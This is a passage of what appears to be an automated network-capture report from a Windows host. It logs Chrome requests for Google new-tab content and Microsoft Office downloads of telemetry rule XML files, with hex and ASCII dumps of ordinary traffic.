2024-11-18 07:55:27 UTC	360	IN	Data Raw: 32 34 37 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2472)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-18 07:55:27 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-18 07:55:27 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-18 07:55:27 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-18 07:55:27 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-18 07:55:27 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 32 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700262,3700942,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_val
2024-11-18 07:55:27 UTC	1378	IN	Data Raw: 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 Data Ascii: ;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")
2024-11-18 07:55:27 UTC	710	IN	Data Raw: 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c Data Ascii: (b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Error(\"F\");else a\
2024-11-18 07:55:27 UTC	469	IN	Data Raw: 31 63 65 0d 0a 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 54 64 28 5f 2e 4d 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 53 64 28 5f 2e 4d 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 67 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 68 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 1ce\u003d\u003dvoid 0};_.ge\u003dfunction(a,b){return _.Td(_.Mc(a,b))};_.S\u003dfunction(a,b){return _.Sd(_.Mc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.vb(_.ge(a,b),c)};_.he\u003dfunction(a,b,c\u003d0){return _.vb(_.S(a,b),c)};_.je\u003dfunction(
2024-11-18 07:55:27 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 65 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 6b 65 28 5f 2e 6c 65 28 61 29 29 3a 69 65 7c 7c 28 69 65 5c 75 30 30 33 64 6e 65 77 20 6b 65 29 7d 3b 5f 2e 6e 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d Data Ascii: 8000e;_.me\u003dfunction(a){return a?new ke(_.le(a)):ie\|\|(ie\u003dnew ke)};_.ne\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElem

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49743	142.250.184.196	443	316	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:27 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 07:55:27 UTC	1034	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 18 Nov 2024 07:55:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 07:55:27 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-18 07:55:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:27 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:27 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 7f617d81-b01e-0021-0b30-36cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075527Z-1866b5c5fbbvz6qbhC1DFWsyms00000004r0000000006bt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:27 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:27 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dd4d8867-801e-0083-7a9b-38f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075527Z-16547b76f7fm8pcwhC1DFWaxcc00000003hg00000000ccxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:27 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075527Z-1866b5c5fbbz7hb5hC1DFWru7c00000005a000000000gtvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:27 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075527Z-16547b76f7fr5rfnhC1DFW0am400000003200000000021eu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:27 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:27 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075527Z-16547b76f7fjx5nrhC1DFW4dsc00000002qg000000006y1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
